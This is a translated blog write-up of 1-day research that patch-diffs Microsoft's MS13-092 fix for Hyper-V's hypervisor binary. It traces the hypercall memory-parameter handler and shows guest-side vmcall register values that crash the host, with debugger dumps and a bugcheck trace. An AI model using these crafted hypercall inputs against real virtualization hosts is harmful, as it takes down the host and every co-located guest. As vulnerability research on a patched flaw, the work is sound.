Original article was written at the end of 2013 on Russian language (http://www.securitylab.ru/contest/448457.php), but since I didn’t see examples of 1-day Hyper-V bug researches and therefore decided translate it to English (with some fixes). Article was written before ERNW published information disclosure for MS13-092 (https://www.ernw.de/wp-content/uploads/ERNW_Newsletter_43_HyperV_en.pdf).
In this publication I try to describe how use information from article “Hyper-V debugging for beginners” (http://hvinternals.blogspot.com/2015/10/hyper-v-debugging-for-beginners.html) for research 1-day Hyper-V vulnerability using diff techniques. Windows 8 x64 was used for guest OS.
12 November 2013 Microsoft published bulletin MS13-092 (KB2893986), where they described vulnerability in Windows Server 2012 Hyper-V, which allowed generate BSOD in root OS from guest OS or execute arbitrary code in other guest OS on same physical host.
Load patch and see, what files was changed. It was hvix64.exe and hvax64.exe (version 6.2.9200.20840), debugging dll kdhvcom.dll and hvservice.sys (probably it contains code for hypervisor hibernation, but I could be wrong). We see hvix64.exe (I have intel CPU).
Next, we havr to find patch, which was issued before KB2893986 – it was KB2885465. According http://support.microsoft.com/kb/2885465 hvix64.exe version is 6.2.9200.20811 from 30.08.2013, but there is version 6.2.9200.20814 from 04.09.2013 in archive.
Next, we take bindiff plugin for IDA PRO and try compare these versions of hvix64.exe. The main problem of hvix64.exe debugging – we haven’t public symbols. We have much of unknown functions in IDA PRO, which was called with sub_ prefixes. More than – many functions IDA PRO doesn’t recognize and we need recover it manually (using scripts, if it is possible). According first part of article (http://hvinternals.blogspot.com/2015/10/hyper-v-debugging-for-beginners.htm) we load hvix64.exe in hypervisor, import known functions from hvloader.exe, kdhvcom.dll, winload.exe using bindiff (yes, parts of them are identical), create hypercall’s table using mVmcallHandlersTable.py (https://github.com/gerhart01/Hyper-V-scripts/blob/master/CreatemVmcallHandlersTable2016.py), configure debugger, attach to host server, recover interrupt handlers using script, find VM_EXIT handler. Also, we must find all instruction, which names begin from loc_ and manually make functions from them (P key in IDA PRO). In hvix64.exe many functions are ended with calls of exception generation (without return), and IDA PRO cannot recognize it automatically.
We can read in vulnerability description (http://technet.microsoft.com/en-us/security/bulletin/ms13-092): «…The vulnerability could allow elevation of privilege if an attacker passes a specially crafted function parameter in a hypercall from an existing running virtual machine to the hypervisor. The vulnerability could also allow denial of service for the Hyper-V host if the attacker passes a specially crafted function parameter in a hypercall from an existing running virtual machine to the hypervisor». Based on this information we must concentrate on hypercalls handlers.
Next on http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-3898 we can read more detailed information:
“Microsoft Windows 8 and Windows Server 2012, when Hyper-V is used, does not ensure memory-address validity, which allows guest OS users to execute arbitrary code in all guest OS instances, and allows guest OS users to cause a denial of service (host OS crash), via a guest-to-host hypercall with a crafted function parameter, aka "Address Corruption Vulnerability."
We have addition information and we will try find all changes in hypercall handlers, which contain code working with memory.
There are no symbols for hvix64.exe and therefore I give prefix m for manually defined functions (for diff them from library functions, which was imported by bindiff early)
Ok, follow to execution, in mHOST_RIP (VM Exit handler) go to mParseVMExit,
which analyses EXIT_REASON
Next, we see check if VM_EXIT reason is VMCALL instruction
Next, we see checks:
- is code execute in ring3 or ring0;
- comparing hypercall code with 0x8D (max value for Windows Server 2012 – 0x8ะก);
- processor working mode – x86 or long mode (x64);
- method of getting parameters: using registers (fast bit = 1) or through memory.
mHandle64VmcallReg – fast call handler, mHandle64VmcallMemory – handler hypercall with parameters in memory.
Ok, we define some of functions, which executes before vmcall handlers are called. Compare two hvix64.exe in bindiff: (we see not so many unmatched functions – it was called mUmatchedSub<№>)
See changes in mHandle64VmcallMemory (left – original, right – bug fixed version)
See mHandle64bVMCallMemory more detailed:
Pointer to mVmcallHandlersTable, which contains parameters for all hypercalls, is loaded in r9. This table consists of 0x8C structures (which are called “hvcall entries” on some screenshots), every of which consists of 8 2-bytes elements. 3th to 6th elements are actively used in mHandle64bVMCallMemory function for checking size of hypercall’s input and hypercall’s output parameters.
First, hypervisor checks rep id parameter of guest OS hypercall. Rep id – is type of hypercall (simple or repeatable). It coincides with rep call value in table Appendix B: Hypercall Code Reference in Hypervisor TLFS 3.0a.
Depending on rep id value mHandle64bVMCallMemory function breaks up 2 big blocks. We see part of function, which is called with condition rep id = 0, because we see in bindiff that this function part was changed bigger, then other parts of code.
Next, hypercall checks if rep start index or rep count exist.
Notes:
Input_gpa = hypercall input value
output_gpa = hypercall output value
Then size of input_gpa parameter is checked.
Next, same check for output_gpa. Next, 3th element of corresponding hvcall entry from mVmcallHandlersTable table is checked.
If input_gpa size is less or equals 40 bits, then corresponding hypercall handler from mVmcallHandlersTable will be called. We can conclude, that hypervisor differently handles input_gpa and output_gpa with different size (1..40, or 41..52, or 53..64 main significant bit – we have 3 size ranges). Try to construct hypercall, which can pass all checks (without fast bit and with 3th hvcall entry element which is not 0) with input_gpa and output_gpa values in every of these 3 intervals (I set boundary and middle values). I test it for HvCreatePort hypercall.
range 1..40 (min value):
mov rdx, 0
mov r8,1
vmcall
range 1..40 (middle value):
mov rdx, FFFFFEh
mov r8, FFFFFFh
vmcall
range 1..40 (max value):
mov rdx, FFFFFFFFFFh
mov r8,FFFFFFFFFEh
vmcall
range 41..52 (min value):
mov rdx, 10000000000h
mov r8, 10000000001h
vmcall
range 41..52 (middle value)
mov rdx, 200000000000h
mov r8, 200000000001h
vmcall
range 41..52 (max value)
mov rdx, FFFFFFFFFFFEh
mov r8, FFFFFFFFFFFFh
vmcall
on the middle value 41..52 range of we see exception in debugger attaching to hypervisor (therefore not need test 53..64 range):
FFFFF800060F133F: The instruction at 0xFFFFF800060F133F referenced memory at 0x0. The memory could not be written -> 0000000000000000 (exc.code c0000005, tid 1).
If we continue executing, hypervisor will hang. In VMware it will be hanging, on physical host we get BSOD:
1: kd> !analyze -v
HYPERVISOR_ERROR (20001)
The hypervisor has encountered a fatal error.
Arguments:
Arg1: 0000000000000011
Arg2: 00000000002b433f
Arg3: 0000000000001005
Arg4: ffffe80100203b60
Stack:
1: kd> k
Child-SP RetAddr Call Site
fffff880`02e0bbd8 fffff801`4ab7094c nt!KeBugCheckEx
fffff880`02e0bbe0 fffff801`4abdf0a8 nt!HvlNmiCallbackRoutine+0x54
fffff880`02e0bc20 fffff801`4aa5c102 nt! ?? ::FNODOBFM::`string'+0x14702
fffff880`02e0bc70 fffff801`4aa5bf73 nt!KxNmiInterrupt+0x82
fffff880`02e0bdb0 fffff801`4aba0664 nt!KiNmiInterrupt+0x173
fffff880`02e29890 fffff801`4aab22ec nt!PpmIdleGuestExecute+0x1c
fffff880`02e298c0 fffff801`4aab1be0 nt!PpmIdleExecuteTransition+0x47b
fffff880`02e29ae0 fffff801`4aa8898c nt!PoIdle+0x460
fffff880`02e29c60 00000000`00000000 nt!KiIdleLoop+0x2c
mBSOD_Handle64VmcallMemory – function where we see BSOD.
Try to know more detailed conditions for BSOD. On mov r8, [r8+rax*8] instruction, which caused BSOD:
WINDBG>r @r8
r8=ffffc80000000000
WINDBG>r @rax
rax=0000000200000000 – input_gpa shr 0xC
Go up on xrefs and name every parent function as mBSOD_L<№>. When we go to mBSOD_L3 function, we see that it is called from mParseVMExit.
In memory with address 0xffffc80000000000 we see structure, which contains SPA entries describing guest OS address space - one element (8 bytes) for one guest OS physical page.
kd> !dd 0 – in guest OS
# 0 f000eef3 f000eef3 f000e2c3 f000eef3
# 10 f000eef3 f000ff54 f00000bf f0000067
# 20 f000fea5 f000e987 f000eef3 f000eef3
# 30 f000eef3 f000eef3 f000ef57 f000ff53
# 40 c8001148 f000f84d f000f841 f0001558
# 50 f000e739 f000f859 f000e82e f000860e
# 60 f000e000 f000e6f2 f000fe6e f000ff53
# 70 f000ff53 f000f0a4 f000efc7 c0002ff5
WINDBG>dc ffffc80000000000 – first table entry in hypervisor address space
ffffc800`00000000 20600077 80000000 20601077 80000000 w.` ....w.` ....
ffffc800`00000010 20602077 80000000 20603077 80000000 w ` ....w0` ....
ffffc800`00000020 02902075 82000000 20605077 80000000 u ......wP` ....
WINDBG>!dd 8000000020600000
#8000000020600000 f000eef3 f000eef3 f000e2c3 f000eef3
#8000000020600010 f000eef3 f000ff54 f00000bf f0000067
#8000000020600020 f000fea5 f000e987 f000eef3 f000eef3
#8000000020600030 f000eef3 f000eef3 f000ef57 f000ff53
#8000000020600040 c8001148 f000f84d f000f841 f0001558
#8000000020600050 f000e739 f000f859 f000e82e f000860e
#8000000020600060 f000e000 f000e6f2 f000fe6e f000ff53
#8000000020600070 f000ff53 f000f0a4 f000efc7 c0002ff5
kd> !dc 0x20000000-60 L18 – last guest OS physical page (512 MB RAM)
#1fffffa0 00000000 00000000 00000000 00000000 ................
#1fffffb0 00000000 00000000 00000000 00000000 ................
#1fffffc0 00000000 00000000 00000000 00000000 ................
#1fffffd0 00000000 00000000 00000000 00000000 ................
#1fffffe0 5446534d 32304d56 00000000 00000000 MSFTVM02........
#1ffffff0 00ff48ea 2f3530f0 312f3332 00fc0032 .H...05/23/12...
WINDBG>dd ffffc80000000000+(0x20000-1)*8 – last table element in hypervisor (point to last physical page in guest OS).
ffffc800`000ffff8 405ff077 80000000 00000000 00000000
WINDBG>!dc 80000000405ff000+0xFD0 - hypervisor
#80000000405fffd0 00000000 00000000 00000000 00000000 ................
#80000000405fffe0 5446534d 32304d56 00000000 00000000 MSFTVM02........
#80000000405ffff0 00ff48ea 2f3530f0 312f3332 00fc0032 .H...05/23/12...
We can see, that address 0xffffc80000000000 is not changed after reboot (as many addresses of hypervisor structures. Generally, Hyper-V has bad address space randomization).
See in details what happened when hypercall 0x57 was called for input_gpa = 200000000000h
Test r15, r15 returns false:
Go to this code (r11b was zeroed and there is input_gpa in rsi):
R10 contains pointer to some structure (we call it struct1)
WINDBG>dd @r10
00000080`b5859000 0000001b 00000003 00000001 00000000
00000080`b5859010 00000000 00000000 00000000 00002000
00000080`b5859020 00000000 00000000 00000000 00000000
00000080`b5859030 b585b000 00000080 00000000 00000000
00000080`b5859040 00000000 00000000 b5802000 00000080
00000080`b5859050 00000000 00000000 87000fe7 00000001
00000080`b5859060 00000000 00000000 00000000 00000000
00000080`b5859070 00000002 00000100 00000000 00000000
Hypercall is not called (ebx equals 1007h before jnz instruction)
After mHandle64bVMCallMemory finished and we returned to mParse_VMEXIT:
Then go to mBSOD_L3
Which analyses result of mHandle64bVMCallMemory
If edx = 1b go to mBOSD_L2
Which checks some values of struct1
I don’t see whether data with offset 110 was changed from mHandle64bVMCallMemory to mBSOD_L1.
See mBSOD_L1 if bindiff (patched hypervisor on left) – we see that check on 40 bit length (and above) was added.
Next mBSOD_Handle64VmcallMemory is called, where SPA element, which points to GPA, is loaded. Index is (input_gpa shr 12)*8. If memory was not loaded we get exception 0xC0000005, which cause BSOD in root-partition.
We see only one part of vulnerability. BSOD is generated by function, which we didn’t consider in beginning, but without mHandle64VmcallMemory investigation it will be hard to reproduce vulnerability.
I use HvCreatePort hypercall for demonstrating BSOD, despite on guest OS doesn’t have permissions for execute it. But that permissions are checked on far stage hypercall’s handling after mVmcallHandlersTable was called, and it allow to get BSOD even on that hypercall.
Remote code execution was not demonstrated in this article, because I don’t find a way to do that. I believe that it is a theme for other investigation with class is “not for beginners.”
